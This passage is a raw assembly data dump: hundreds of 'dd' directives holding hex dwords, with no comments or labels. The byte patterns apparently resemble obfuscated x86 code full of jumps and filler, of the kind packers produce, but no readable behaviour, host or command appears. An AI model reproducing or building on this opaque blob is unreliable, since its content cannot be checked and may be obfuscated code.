0B9BB6660h, 616160E5h dd 0FE9h, 1369B300h, 58361564h, 750DCE4Ah, 4DCE5FAh, 0EA8166B2h dd 4E033758h, 0FE9h, 0DA198900h, 6D8B6E6Dh, 0C9145695h dd 3D104B1Bh, 990BBBFCh, 870F2841h, 8, 2890Fh, 61600000h dd 0F53DE380h, 0AE8F5h, 39210000h, 5DBF9B97h, 9C56ED9Bh dd 5810Fh, 31BE0000h, 5A20F63Eh, 0E0C28160h, 6119C9BCh dd 0DE9h, 86C0EA00h, 5D959ADEh, 5F817D29h, 0E080EBD9h dd 9327BA36h, 8B663F80h, 0E08166D9h, 0C180DE2Eh, 0E480F871h dd 816660D7h, 50E816C1h, 615BF1B4h, 0FFC58B3h, 58Dh, 0E2816600h dd 8F0F2F63h, 8, 28C0Fh, 0F0B00000h, 0CE9h, 640F4800h dd 1D911551h, 8290E14h, 0FE8B6626h, 0D850Fh, 8E90000h dd 74000000h, 47968122h, 0BAF7A54Fh, 5494DEA0h, 11B312BEh dd 890F560Fh, 2, 0E95B5850h, 6, 0A1DCF065h, 0B70FEDBCh dd 0E38AF8C9h, 8B66C88Bh, 18E0FF9h, 0F5000000h, 0CE9h dd 0AF4B6800h, 0BCBED582h, 8ECC4560h, 9421B9A7h, 0BE87F94h dd 0AC000000h, 54464F12h, 32B1750h, 11E8C564h, 0B2000000h dd 9B441D41h, 52B5526Ah, 55F054A6h, 0A8A69ED3h, 0F585AF8h dd 0C84h, 68B0F00h, 0F000000h, 8Bh, 0CE800h, 81A20000h dd 990B7116h, 1958BBB6h, 0BF0F743Bh, 8B665ED7h, 13E9C2h dd 43270000h, 9DC93E99h, 8E2ECE2Dh, 38E47611h, 0BE90ADADh dd 8BF5F9B1h, 816060D8h, 219785EEh, 61E78A46h, 10E861h dd 0FE220000h, 0EAB0344Ah, 419E3468h, 2EB18851h, 0F8589B8Fh dd 0AE9F8h, 9BEA0000h, 3F6AA680h, 5A241A04h, 8E9h, 0D29FC500h dd 91733146h, 5810F53h, 66000000h, 19EBD181h, 0FF3BF0Fh dd 0BF0FCEBFh, 0FE8CEh, 691C0000h dd 881487D6h, 6D3CBAFAh, 0D56A54F0h, 0FF56056h, 8Ch, 81586100h dd 8FF617E7h, 7E966h, 9A970000h, 0D00ADA24h, 0B7FCFC7Ch dd 3860FD9h, 80000000h, 80F5D5ECh, 0F080FEE8h, 9E823h dd 98CB0000h, 3BB810E0h, 5BB8AD05h, 5C7EBA66h, 0F48EBB66h dd 8B66F560h, 0CA8B61F7h, 17840Fh, 12E90000h, 0F000000h dd 2E158CB3h, 0E8B8C7EBh, 4CC6F6C5h, 472BBB37h, 0BFB5F50Ah dd 0C4DF8166h, 0FEB70FFAh, 11E8h, 0DF5F5700h, 4A0D1525h dd 2499F961h, 5B73FD3h, 0B0B4ECE1h, 663DB55Bh, 8E9ED981h dd 0ADD78060h, 61F6DC80h, 68F0Fh, 820F0000h, 0 dd 0B9F9BF0Fh, 2A0E9138h, 22C08166h, 0A9EE8119h, 501624B1h dd 0ACBA6650h, 0F5F588Ah, 0E83h, 6E800h, 7DF80000h, 4207F29Ah dd 665F6160h, 0E94090BFh, 0Ah, 8FB6F5A6h, 0D5233E33h, 8B66B7D5h dd 0CE9C6h, 0EF340000h, 490A8DEAh, 0B5179A90h, 65B2A885h dd 0CE9h, 0FA049F00h, 0E3AFD2FEh, 6C201EA3h, 0D18060FDh dd 9E828h, 0CDBE0000h, 9B0A272Fh, 66D93DE0h, 615AC78Bh dd 0AAEA8153h, 5E12B5E7h, 0DE953h, 0C15B0000h, 0EF0B0FB5h dd 9EF48E5Bh, 5A49FA81h, 0BE8h, 3FAADE00h, 3EE7BD44h, 0CBD7FA0Fh dd 0CA8DB866h, 0F08B535Eh, 8A0FFC58h, 2, 860FF98Ah, 6 dd 417CE281h, 870F4337h, 0Ah, 48D0Fh, 0BB660000h, 8E0FB0FCh dd 5, 0FCC716B9h, 14E925h, 7CEC0000h, 3E25AEA6h, 66AEA9BDh dd 0BF0C2751h, 37CE5484h, 0D18B0F7Dh, 0CDBFFA8Ah, 0F05F6C3h dd 850FCABFh, 0 dd 10E8h, 55134800h, 171B7534h, 0BE10B64Ch, 45785B31h dd 0EE95B94h, 29000000h, 704A52D1h, 40855D99h, 228B979h dd 0D68B66FAh, 54B9E081h, 0C98109F9h, 29515DE2h, 10E9h dd 0ACF72100h, 5BCC606Dh, 0AC4F7875h, 0A270ED65h, 0B8D181B4h dd 66559292h, 0C380C68Bh, 6E9F9ADh, 94000000h, 0BA6531Ch dd 0B8F38BD4h, 75F68F5Eh, 6E9h, 3DE78200h, 0FDB99C6h, 0F960F3BFh dd 61DEF680h, 8F0F53F5h, 2, 0F5A5951h, 5E8CFB7h, 2E000000h dd 0AAA51868h, 5587BF5Fh, 0E38049CCh, 0CEE98152h, 663AE40Ch dd 0F502F6BBh, 7E9h, 0AA2C3F00h, 0AD91C555h, 5E8h, 0A6A1E600h dd 0FA8A1E39h, 0FEBF0F5Eh, 6810F50h, 0F000000h, 8Bh, 820F5F00h dd 5, 0DCC98166h, 0F0B70F2Dh, 0CE9h, 0FEA14E00h, 4C68524Fh dd 4E647691h, 820F50h, 0BB000000h, 3E003F03h, 0B1F28166h dd 66D38BC5h, 0AAB7E081h, 0DE8h, 0FA93A900h, 0D2AE1D93h dd 0B5030ABFh, 0BE6695F9h, 565E7750h, 2C1EDABBh, 0B3B75A75h dd 0E9D88B66h, 14h, 6EB5C6E1h, 896510E3h, 0CCF514F2h, 588380DEh dd 1E9FA151h, 439067B8h, 25BCB921h, 830F331Fh, 6, 0A61FE281h dd 0FE90AD8h, 43000000h, 392AA182h, 0E9228C8Ah, 69C868BEh dd 0BF6667EAh, 0D6B8F12Bh, 0B875787Dh, 54515DE0h, 2226BF66h dd 0F53CEB1h, 28Fh, 5AFC8A00h, 0E6D381F9h, 0F07E1E4h, 0DF8BFABFh dd 0F53F38Bh, 689h, 3AE08100h, 585C4A4Dh, 11E9h, 0F0474100h dd 64E68D0Eh, 2E173DBEh, 0EAE0B2D5h, 0DF804338h, 0D1CA8027h dd 1AF78166h, 6E9A4h, 36460000h, 8CABC40Bh, 881F39BAh dd 0E9C78B24h, 0Fh, 6427F937h, 625378E9h, 538C51DDh, 660F6A56h dd 6E9F28Bh, 7F000000h, 0C25946AAh, 0FE836h, 7F940000h dd 61AC4BA7h, 0CB99964Bh, 0E38D8DBFh, 61606039h, 61F3BF0Fh dd 6E95Ah, 742C0000h, 26ABD6E5h, 5E9h, 0E4B29100h, 0D88ADB84h dd 0BE9h, 11FE100h, 0C8B9595Fh, 0C5204D80h, 0E9DFB70Fh dd 8, 393D80D8h, 0C05DA2FBh, 0AE9h, 8EAC4200h, 564C3747h dd 603B587Dh, 8D0F60h, 66000000h, 0E961FA8Bh, 11h, 94CE339Fh dd 0FF6158F3h, 458A38FBh, 0D3C4736Eh, 0F781615Fh, 3A8976A4h dd 7E9h, 0FBFB6000h, 0A0EC8334h, 12830FF9h, 0E8000000h dd 6, 0FE3BFBA0h, 8D0FFC21h, 0 dd 8B66F85Bh, 8E0FF9C2h, 2, 0D98BC28Bh, 81D7BF0Fh, 2C3CDD3h dd 0FE96Ah, 9F310000h, 0DE013CAEh, 27546BA3h, 0DF5E23D9h dd 0D3BF0FAAh, 5AC78166h, 605BB1F7h, 0B3C453BEh, 3890F21h dd 0F000000h, 0F61FEBFh, 148Dh, 0FE900h, 96D50000h, 0D87BE5B3h dd 0E0E4DE88h, 8A098FECh, 9E9FCh, 5E2B0000h, 18F86697h dd 66338215h, 0BBFEF281h, 2FB9BB66h, 0ECC8BB66h, 6E860FCh dd 5000000h, 0EABD592Bh, 0CE973h, 0A1A20000h, 0CA1E6D4Ah dd 289EFDE2h, 0BF5ACEB1h, 6F788438h, 5E861h, 0DFF10000h dd 0FDBBCC7h, 0E85BFFB7h, 8, 7290D177h, 0A9875146h, 9839D281h dd 0F595DC7h, 481h, 61605200h, 56BB6658h, 13E99Ah, 37DC0000h dd 64AB9C4Bh, 0A54DEF2Dh, 0A8750B8Dh, 76821620h, 0BAE6B017h dd 4A9DAA56h, 18840Fh, 0E8500000h, 10h, 0EE580AD2h, 37387EFEh dd 5F640DB7h, 0DC1A8CC2h, 0B9665A5Eh, 66605E6Dh, 7A60F181h dd 0AE8h, 54D27500h, 66DEBA0Ch, 8A7BA001h, 0E96158F7h dd 0Dh, 60328312h, 30AAB95Bh, 2701571Eh, 4850F3Ch, 66000000h dd 80DDDCBEh, 3FB56EDDh, 5850Fh, 81660000h, 8AF6ACF1h dd 23C080DAh, 0DE9h, 0E360EA00h, 0BCB975A2h, 833D92C5h dd 0CA8AFB87h, 2A830Fh, 0DE80000h, 0D6000000h, 7771AA30h dd 4C873EAFh, 0F1807C06h, 12E9h, 7047C100h, 7CF221DCh dd 0B34D654Ch, 0B58D574Ah, 5A9061E3h, 33B850F8h, 5918D78Ah dd 7E9h, 0E21F2C00h, 27EBCEC0h, 0F8D68B66h, 390BD681h dd 10E877FCh, 1B000000h, 904F8C2Dh, 0F69FC960h, 0B39CF318h dd 0E982F08Bh, 5, 928469Bh, 0C7815FADh, 60DD99E3h, 51C78166h dd 0CA8166DBh, 5A529021h, 0E466C081h, 13E90F02h, 6D000000h dd 0BFAC290Ah, 6C360164h, 0AA260EBBh, 64F81297h, 0B8601398h dd 3A52DB7Ah, 61CE8B66h, 11E8h, 14990900h, 4D9C156Ah, 3A683004h dd 4A5E5454h, 0BF0F4D14h, 0FA8B59D3h, 39BF6657h, 0AE85F0Dh dd 20000000h, 0D8E53E9Dh, 2060B142h, 0BF0F5F5Eh, 0E78166DBh dd 0BB662E4Eh, 8B666577h, 820FF5C7h, 6, 0DC4FDE81h, 0C68B074Bh dd 0AB07BA66h, 0FE9h, 51608800h, 0AB704C99h, 34B0FEE8h dd 0FD36A026h, 14E9h, 0F37CC700h, 95B52740h, 0F7EE836Eh dd 7E0B20D3h, 60984BA3h, 0F18B6641h, 68B0F52h, 81000000h dd 85ED7C8h, 9E85B5Ch, 9D000000h, 0C9A2FCAh, 7D21E180h dd 5AC0B70Fh, 238E0Fh, 11E80000h, 0D8000000h, 0E6CFB93h dd 0CF4D49D1h, 43343BD9h, 0F122C414h, 7E9h, 0B8A04800h dd 8C62F0ABh, 8166F559h, 8AB413F0h, 0D3BF0FD4h, 1A800Fh dd 0E9600000h, 13h, 15B93C86h, 2A986529h, 0B4FD50DAh, 8739316Ch dd 61290181h, 0BE66D08Bh, 0E860E594h, 11h, 7BFFE136h, 1372970Ah dd 0E7A1D07h, 0E98B0AB7h, 11E9B5h, 0FEE30000h, 9DBC3119h dd 30CEB762h, 0A14A4DB2h, 587DD362h, 8C98061h, 6616CA80h dd 0F172D381h, 4CE2BF66h, 0BE852h, 0A38A0000h, 6DBB2177h dd 0D1E1D085h, 0DBB70FDAh, 8E85A5Bh, 2000000h, 272884E3h dd 0E9EC796Dh, 14h, 1D330446h, 0DCE9900Eh, 749C2668h, 3421C615h dd 0A225DA21h, 0BEF78B59h, 4CA27F52h, 70C8BB66h, 0B6CB8166h dd 66C28B7Ch, 0E963CFBAh, 12h, 4EEF18B2h, 0F07499A9h, 76072635h dd 486C7DC2h, 0F52AA2Ah, 8059D7BFh, 0D6818CE4h, 616C05DFh dd 4C53EF81h, 10E83B54h, 0B9000000h, 5AD351FAh, 0D7627D50h dd 0F2F87003h, 0B78FFD2Dh, 5B515FEFh, 7E8h, 0B9F04800h dd 56E72521h, 5E8h, 916F9800h, 5E5B7217h, 1DC88166h, 8A0FFC0Ah dd 0Dh, 8E9h, 9868500h, 13E18203h, 3A5CBABCh, 41BB097Fh dd 0E96F792Bh, 13h, 0D707FD75h, 242C214Eh, 0C94B32C4h dd 0BA1E9D40h, 0E9B59998h, 11h, 0C0E93CD6h, 7464844Fh dd 54E783DDh, 96CCC83h, 0DE8F9h, 0CB660000h, 36EEC0C2h dd 664898E3h, 665D64DBh, 0E959C78Bh, 0Ah, 54B1EE95h, 0E261C565h dd 800FEF22h, 3, 0B8C0B70Fh, 185DA7C4h, 9E8h, 53AADA00h dd 0D6E18F54h, 0F960E8CFh, 0BF665B61h, 0CE886E4h, 53000000h dd 6EBB0C03h, 65DB6DC9h, 0F43C822h, 0E85FFEB7h, 6, 0CB86D70Fh dd 5BFC3E22h, 16EE8151h, 5819C25Dh, 9E8h, 0FA17A900h, 55B3860Fh dd 8B66F954h, 0DF815FCFh, 782E2462h, 8F0Fh, 0B8660000h dd 0E860F39Ch, 13h, 473B42CAh, 0F447851Ah, 785F1A21h, 0CBABC179h dd 5A299CD1h, 6860Fh, 0DF810000h, 0E29D651h, 5FF85061h dd 0DA8B6052h, 0FE8h, 0E9819F00h, 0EBC7E413h, 724BED4Eh dd 21AE6ABFh, 605A6159h, 3820Fh, 8B660000h, 0DE861C2h dd 1000000h, 0FE5374B2h, 14D3AB09h, 23C6A714h, 0ACBEF560h dd 6157768Bh, 0DE96058h, 0DB000000h, 0D3A02996h, 0C262563Bh dd 0BED7B731h, 5870Fh, 81660000h, 615841C7h, 0E2816660h dd 7E981B3h, 46000000h, 70A98751h, 5061D82Eh, 0FC3DB866h dd 10E95Bh, 0E94D0000h, 0C6F964F7h, 88D4749Dh, 5D5B743Ah dd 0C68B93DFh, 0DE9h, 34E13D00h, 0B734361h, 0DC04A963h dd 14E9D375h, 82000000h, 0B3493F85h, 0BAAD9F86h, 8FD57D95h dd 0A6D3BD58h, 577BA58Bh, 5EE4C380h, 6301BB66h, 9E9h, 233A2100h dd 98CF0631h, 0B70F5594h, 10860FDFh, 0E9000000h, 0Bh, 4E175D23h dd 0BBA11561h, 668876EDh, 10E9FE8Bh, 2A000000h, 48C963EBh dd 0C915D9E1h, 0C89F3B3Ah, 0E98E64B6h, 0Dh, 0BD1157AEh dd 97264592h, 0DCD765FEh, 0CAF2819Eh, 0F3FB470h, 38Dh dd 0D78B6600h, 0F5F18B66h, 99BCF2BFh, 68B96601h, 5E875h dd 75850000h, 0F94E0502h, 810FF559h, 3, 0E9D38B66h, 11h dd 0F4C6EED0h, 0FBAE64D6h, 0D2035939h, 0D5F975E2h, 12E823h dd 7FFD0000h, 4016FE56h, 36EA7E20h, 604EB487h, 612EEBE7h dd 346CBF66h, 0C88B665Eh, 2870Fh, 0C78B0000h, 5E8h, 59BF3700h dd 6657E359h, 5E6F3EBEh, 0EE28058h, 66D68BFCh, 0B150FB8Bh dd 0AE959EEh, 4C000000h, 174B70ACh, 0F1CB8BBCh, 58F0F90h dd 66000000h, 552DD181h, 29BF95B3h, 0F9378F09h, 0DF81DEB2h dd 796EA866h, 3850Fh, 0F1800000h, 0D810FB3h, 0E9000000h dd 8, 44F408Bh, 0EA9DDAAh, 82CF8166h, 68C681B7h, 0F82189D3h dd 10E9h, 0A2C39B00h, 0C7D1E415h, 0D253A88Eh, 0F551492h dd 0B9D08BABh, 35C40C29h, 9E9h, 0E12F1700h, 0C5DC3476h dd 66F86972h, 60916CB9h, 0F8B70FF5h, 6097B461h, 6E9h, 0E6304200h dd 66870FE1h, 8DAAC081h, 0C3BF0F61h, 6658F853h, 24BAC68Bh dd 0E95F1EB4h, 0Ch, 8CE43A18h, 70318574h, 2ACB0E86h, 0F2C08166h dd 0C9816603h, 14E934DAh, 65000000h, 53EE074Eh, 0E8FFD898h dd 723B6FC2h, 576B54CFh, 0FDD47C4h, 148Ch, 0BE800h, 42DF0000h dd 0E9313C3Eh, 1A7075E3h, 0D38B66B8h, 0B70F6059h, 0CA8B66C6h dd 8E961h, 5100000h, 0E8BE6954h, 0AE88E9Bh, 4C000000h dd 4663320Ch, 0E42EC420h, 0E4EC8030h, 0B0D98A5Bh, 18F0F8Ah dd 0FC000000h, 3B39EF81h, 0FE81BD5h, 0D8000000h, 68CD2151h dd 50BC0EB1h, 262E56EFh, 66609ACAh, 8A1397BAh dd 0B95E61C3h, 71FC874Ch, 6056D78Bh, 0EE9h, 0F9955E00h dd 827BB7B5h, 0CE7F25A9h, 0E8178BE8h, 0Bh, 0FE82245h, 0A3B4EA04h dd 5F143BF9h, 66575B61h, 0F5ADA8Bh, 588h, 728BBE00h, 0D8B7252Ah dd 0FCD1B70Fh, 0FD2BF0Fh, 183h, 5FB4F500h, 3ADE981h, 0D58A2B5Eh dd 0B31A9EBAh, 880F576Ah, 2, 0E95BC4B5h, 0Ch, 9952ED7h dd 5F5BCE70h, 0DA4E0E33h, 0D281F88Ah, 271B9481h, 0E989DF80h dd 5, 0C5355933h, 9E9B1h, 0E13B0000h, 0AC177BCAh, 0BE607B0Dh dd 373B6738h, 0F5695B7h, 282h, 58D38B00h, 0AE9h, 0DA8DBA00h dd 27D97379h, 0B373C204h, 0DF8051ADh, 0B70F5EFFh, 0FE9CEh dd 54160000h, 0F2DA7CE0h, 2E132B47h, 0DB8E98F9h, 0E7A8B9CCh dd 0CFBB0F47h, 0BB76F917h, 7575BB11h, 0CA45E381h, 0BA664D44h dd 0CF81EDD1h, 0A07FB51h, 6716F081h, 0BF0F1587h, 956BEF6h dd 8B66238Bh, 75D480C2h, 0F4AB6CB9h, 0E960B011h, 0Ch, 97DACB5Eh dd 7CAEDF02h, 2F2599E8h, 1E72ABB8h, 0E8F48A6Ah, 0Ch, 68B08280h dd 0F7B282BAh, 50423107h, 13E858F8h, 0B7000000h, 4F42D66Ah dd 7F8448F6h, 0E39B6D7h, 0F3CFE7B4h, 0DE913A5h, 0F6000000h dd 0CD298D23h, 0CD3D6C60h, 0E0D863ACh, 57A4B959h, 8B666530h dd 12E9F7h, 0DF810000h, 1684F197h, 4F7EFFBEh, 0CFEB56D2h dd 38E895B7h, 5FD38B56h, 0EE960h, 0B5D00000h, 0AB969D48h dd 0CFCC3466h, 0E2BC208Eh, 81666061h, 0BF3C78E3h, 2CAD0B31h dd 34B86661h, 0E8BBB205h, 12h, 4B94C68Eh, 0EB779D1Bh, 6119CE9Eh dd 8ED385EEh, 0BA662D1Ch, 665B16D6h, 0BE8F98Bh, 0D2000000h dd 0CF0227F7h, 0C10C1164h, 0F53B7C0h, 8Eh, 815B5800h, 679E24D0h dd 41D28155h, 0B21CFEB3h, 0F68166C5h, 8CB922C3h, 6061C0E9h dd 830FFB8Bh, 6, 8B0Fh, 0F610000h, 680h, 36F18100h, 0E838E704h dd 0Dh, 0DDF60AF8h, 246D881Dh, 9B3656A7h, 2850F0Ch, 50000000h dd 0BF0F5E5Bh, 0E85151CBh, 11h, 0EF1687B8h, 47C55B7Ch dd 8EFF8EB4h, 71026990h, 5A585E5Fh, 0DA8BF38Bh, 5E8h, 0DECF1C00h dd 77BF97E1h, 5B6D74A3h, 13E9h, 42B90300h, 5F89C888h, 0EE061E51h dd 0EB0F955Ch, 28CD61D6h, 39F2E681h, 8BF87832h, 118F0FF1h dd 0E9000000h, 0Ch, 0A6D9C003h, 31F21421h, 9A29E047h, 6E9EDB3h dd 0CD000000h, 0B9FCD4C8h, 66FD8A55h, 6784D281h, 0C554CEBBh dd 0A2F78012h, 0F6F68166h, 7AD981F5h, 8B1DBA26h, 42DB80DFh dd 0B8A0Fh, 8F0F0000h, 5, 97DB8166h, 0FBBF0FEBh, 6E8h dd 8D6F4400h, 813036BDh, 4FBDC5D8h, 0C8815811h, 6D5A43F0h dd 66D88B66h, 0F85360B9h, 2820Fh, 0CE8B0000h, 0BE9h, 0DF6E3900h dd 1851F13Ah, 5795B444h, 0FF4EE081h, 0FE86A4Bh, 45000000h dd 472C0AAEh, 9AC935B5h, 29B83E26h, 0BF0F7F82h, 0DA805EF6h dd 81F38B10h, 834830D0h, 11E81Bh, 64E00000h, 0AD1E8600h dd 0F7FB0CC3h, 0C87D4656h, 811B5AE4h, 0DF452EC9h, 8B665B0Ah dd 5CC680D7h, 8AF78166h, 76BAF960h, 66329B2Eh, 4574F281h dd 0C51565BAh, 14E829h, 579B0000h, 12E2B1F4h, 8C395415h dd 23CAB93Bh, 0AFE47B01h, 830FA905h, 4, 0D12B966h, 0D78B665Eh dd 0BE9h, 2A8C7200h, 0DD695566h, 0E8B6F4E6h, 0EE9h, 0C674F700h dd 0FD14BAA2h, 1FB789D0h, 8B299787h, 0E9FA8BD7h, 14h, 2A726C9Fh dd 86F04F6Ch, 2F6398Eh, 7C7F23C8h, 0D906A34Bh, 66D68166h dd 4A79BEFCh, 0BF0F0812h, 12E8F7h, 53060000h, 93032870h dd 1A1B3274h, 81A04771h, 0AC7FD364h, 5AE9EC80h, 0E358BEF8h dd 0DE90E00h, 15000000h, 43FD1972h, 838803EFh, 0C74355E0h dd 59EF281h, 0E8601493h, 14h, 0EE603FA6h, 61BD4696h, 15AD506Ah dd 6D446F45h, 43A3F628h, 665A6160h, 6661C78Bh, 2DBBD38Bh dd 526DCF89h, 0F5BE78Ah, 28Ah, 0FFB8B00h, 586h, 8CA9B800h dd 13E80CAEh, 8A000000h, 3D509AABh, 319BC149h, 0B224728Eh dd 4D2ABD19h, 0B9665A32h, 0E95A46E1h, 6, 0FD91750Ah, 0B70F850Bh dd 4890FF1h, 53000000h, 8A5FC68Bh, 0D840FFDh, 60000000h dd 8C0Fh, 41B80000h, 6179392Ch, 0FD3B70Fh, 8B66F3BFh, 0AE8D0h dd 297C0000h, 7D92055Eh, 4EE7E3Ch, 28690BBFh, 0FB8B5A3Ah dd 810Fh, 0BF0F0000h, 0CBB66D8h, 0C2816632h, 8D0F7132h dd 0 dd 0DE9h, 1B0AA700h, 0A195F6B2h, 0FECFBC3Bh, 5E94A6Dh dd 3E000000h, 7B966D32h, 0A60F9BBBh, 0D280F821h, 14890FABh dd 0E9000000h, 0Fh, 0A5EC56FDh, 69EBA836h, 0CE72B1Bh, 8153BCFFh dd 0D4FF49CFh, 5BD18110h, 80655227h, 8166AED1h, 0E84463CFh dd 11h, 18154EE3h, 66D839C8h, 6421D6ABh, 0DBAFDA73h, 0B70F5B3Fh dd 11E9C0h, 99E0000h, 9409110Bh, 326BF194h, 0E7D04F8h dd 80267230h, 0D38B33D7h, 0FE9h, 0B68BB900h, 0A2A10AD5h dd 3D2E8F7Bh, 0A0A99707h, 6E8h, 0EC454000h, 6694E482h dd 5F1D69BBh, 12E9h, 9AD12100h, 0F5DFAF9Eh, 0EFC57325h dd 0ABEFB35h, 0BE3C43DCh, 41758465h, 7E9h, 9D164500h, 83660004h dd 98D4BF66h, 8B66D88Bh, 6CB866C6h, 11E95Dh, 45600000h dd 90A78ECCh, 87386E48h, 0A7FF3D96h, 660DFDCBh, 66A799BFh dd 0E99AF8BFh, 6, 5C7778CDh, 8B666C8Ch, 1C8F0FD0h, 60000000h dd 23EBBF66h, 10E8h, 2A193900h, 0D2D476C1h, 3D1515BDh dd 9A45BE3Ch, 0E9615BAAh, 6, 0A3F2BEB3h, 0CE80E09Fh, 0A9B4B9E3h dd 0CE91813h, 3000000h, 0E9261FD0h, 0B335171Ah, 0BF38B032h dd 33051BFFh, 5830Fh, 8EBF0000h, 0E9484996h, 0Bh, 707B7D4Bh dd 4B6BB8E0h, 0E92BD1C0h, 0Bh, 13AE6C9Bh, 1E889823h, 0F1066BFh dd 88h, 0EB816600h, 0D08B6E61h, 0B70F51F8h, 0E96058D9h dd 6, 0A03EDEC2h, 1BBFC71Eh, 6145E48Dh, 6870F60h, 0F000000h dd 82h, 7EE38100h, 612C5A92h, 7BECC781h, 0F601467h, 0E950DBB7h dd 0Eh, 0FC86FE46h, 80C6F273h, 0C9CCCEDBh, 615B5B43h, 58F0Fh dd 80600000h, 606131E7h, 61E9B0F9h, 0FC9B70Fh, 38Bh, 0D0BF0F00h dd 16F362BEh, 76EB810Dh, 8176D886h, 3C2C8EE3h, 8E877h dd 53EF0000h, 1075830Bh, 0DE90527h, 0AA000000h, 0E47D0A39h dd 0A8B22DB9h, 0F0F4D807h, 5EFC5159h, 4D9E881h, 0AE8490Eh dd 0F8000000h, 71DA5571h, 3457DB07h, 0E85FF9CFh, 12h, 577F0442h dd 2BF0EAE8h, 2253385Ah, 99D39EB6h, 8B607F6Eh, 453DBAF7h dd 5E614D7Eh, 8BB96660h, 0BE8B6h, 28020000h, 0E46D4825h dd 93F72E69h, 0A0DBE88h, 615A5EBAh, 0E281A5B2h, 59BF9B5h dd 0FCF8B66h, 586h, 7045B900h, 0DE92530h, 90000000h, 1A5A3D13h dd 71F15A1Ah, 1F510EECh, 38E0Fh, 0DF800000h, 3890FECh dd 66000000h, 8C0FD88Bh, 0 dd 21B866F8h, 0B5D180D8h, 0F2A131BFh, 80D78159h, 6673E0B5h dd 4CB3D181h, 8BDFBF0Fh, 0D381F8F0h, 7C462438h, 0BEF1B70Fh dd 5B91EC4Fh, 53C28B60h, 810Fh, 615E0000h, 6E9h, 3C6DD000h dd 0F30F84Eh, 0DC8ACFB7h, 1E830Fh, 890F0000h, 18h, 13E9h dd 25099000h, 0B655251Fh, 0BEB907AFh, 3AEDF738h, 662D25E7h dd 8E0Fh, 0AE90000h, 75000000h, 6BB49232h, 0C1CC46F7h dd 8BCF8B80h, 0FBBF0FDAh, 0E5EABE66h, 6683E380h, 0D580F78Bh dd 0BB666023h, 0F88B7E0Eh, 5BD88061h, 0C2E08166h, 0FBD48029h dd 10E9h, 0B64C1700h, 5B31BE10h, 944578h, 0C6B30956h, 38F0FA7h dd 80000000h, 8E9B6E4h, 2D000000h, 209F7F4h, 8187F5D1h dd 0B0BF94EBh, 7E912h, 0E4BA0000h, 1AB5AA0Ch, 8B66500Bh dd 0E9F55EDFh, 14h, 47190CC9h, 82C0558h, 0F2633E73h, 0DAD2CB56h dd 0E86D0468h, 0F38B51F9h, 38F0F5Ah, 0F000000h, 6657D2BFh dd 58BA1DB8h, 0E9F6B70Fh, 0Bh, 73040624h, 0A21847Ah, 0E8FD9175h dd 0Ch, 8A2C1F16h, 6EAC22A1h, 905287B4h, 0BF0FF960h, 575B61D9h dd 0F3BF0F5Fh, 13E8h, 3A4CDB00h, 0FAA5A820h, 8F6C6AB5h dd 9601C489h, 5EB8BDC7h, 5AF9BF0Fh, 0CFDA8166h, 11E181DDh dd 667169C0h, 55AEA81h, 0FDF8B66h, 0B452FAB7h, 820F5A15h dd 3, 0E8EEE580h, 0Bh, 1930BB0Eh, 7C8CCCA3h, 0E9997AC6h dd 11h, 0B7225A35h, 0FCA6EA0Eh, 6F4DE913h, 5C6DF03Ch, 870F5942h dd 2, 0BA66DE8Ah, 0BE660D1Fh, 8B662B6Ah, 16DF81D9h, 516567A1h dd 0B9E28053h, 8E0F5F58h, 6, 0EDC2E281h, 81603DD8h, 0D32B99F2h dd 0D870F1Eh, 0E8000000h, 7, 367B4BB4h, 5AAB3B36h, 0BE961h dd 9B800000h, 3BD7AAE6h, 6B7FA85Ah, 0BE910h, 9DC70000h dd 0D0DAAA8Bh, 6344252Ch, 18F0FF0h, 0F5000000h, 11E9h dd 0E1706200h, 44F57C71h, 0FEB8DD33h, 0F74B9000h, 0E96027A6h dd 0Ch, 279A807Fh, 0DB3D1A8Fh, 32353495h, 0B4C0B761h, 810F22h dd 0E9000000h, 7, 98BBF630h, 0F9BCEB0h, 0B8B0F0B7h, 6A6AC781h dd 0D0812C98h, 5AA959AFh, 0BF0F6060h, 666061CFh, 2685F681h dd 631946B9h, 6661613Eh, 0BA6CDB81h, 16870Fh, 0FE80000h dd 92000000h, 0B8E1995Ch, 4707EDF2h, 9A45EE6h, 5AF95BC1h dd 5AD68B56h, 0DB81F88Bh, 0CD79AD6h, 8E9FE8Bh, 91000000h dd 3B1E2C13h, 0E8F4D1F3h, 0Dh, 8FFD2DF2h, 0B06746F0h, 0BED227C7h dd 8D0F5B83h, 14h, 8E8h, 0E6CDFF00h, 4E102624h, 890F44h dd 58000000h, 35D38166h, 1FBE665Ch, 0DBB70FEEh, 0EE8h dd 2D620300h, 3D168EDh, 9D8BBE8Ah, 0E9FB5EE7h, 7, 958193BEh dd 5BBAFE12h, 12E951h, 0F7240000h, 0C3134EB9h, 513389Ah dd 77FE1935h, 2C819812h, 0ECB1BE5Fh, 0FF84268h, 38Bh, 0FEB70F00h dd 0C5C68166h, 0B70F5787h, 0B70F59CFh, 5840FC3h, 66000000h dd 0EAFCC881h, 27864EBAh, 0F60603Eh, 8Ch, 0DE96100h, 0C9000000h dd 37E57777h, 6A38DBDAh, 4F9DE351h, 6880F61h, 81000000h dd 0C98D87C0h, 0B966535Dh, 0E9591ED1h, 0Eh, 661E310Bh dd 91AE9AC1h, 3C5A67C0h, 0DE810B0Dh, 29832D9Bh, 0BF715DBAh dd 0D2EB8155h, 0F91ACCFFh, 8C0FD88Ah, 5, 0A41AB2BBh, 0BE902h dd 4F6A0000h, 0EDA4720Eh, 23846C79h, 0E95AB19Bh, 0Ch, 0D1AC5BC5h dd 0D3A6EBFFh, 983BF21h, 18B0Fh, 0FF90000h, 381h, 0CBB70F00h dd 6E9h, 0E6218800h, 818D3B80h, 11165DF0h, 0F3816678h dd 0B70F9100h, 11E9FFh, 41FC0000h, 27F86B07h, 1B71863Dh dd 0DD39B753h, 0F848A7B6h, 10810Fh, 8E80000h, 1B000000h dd 24F01DD5h, 60B65FB8h, 0B9525F61h, 7D178358h, 0BF0F535Bh dd 8B0F5AF0h, 0Fh, 0AE9h, 53321C00h, 6C210EFCh, 0F525D20Ch dd 38B0Fh, 8B660000h, 3880FD7h, 80000000h, 0EE848C5h, 34000000h dd 1A112A49h, 82D79BAFh, 6A44E66Dh, 0BE85125h, 0FE000000h dd 0D3B304C6h, 258EBADCh, 5B58295Eh, 0B1F6815Eh, 816376DDh dd 3B9977CFh, 0EE973h, 7D540000h, 7AFB315Eh, 0B1ADB47Ch dd 0D0EDC5D9h, 0AE8h, 37003B00h, 0BF977D0Fh, 81872E79h dd 4C2E2BCBh, 5E8586Fh, 0B4000000h, 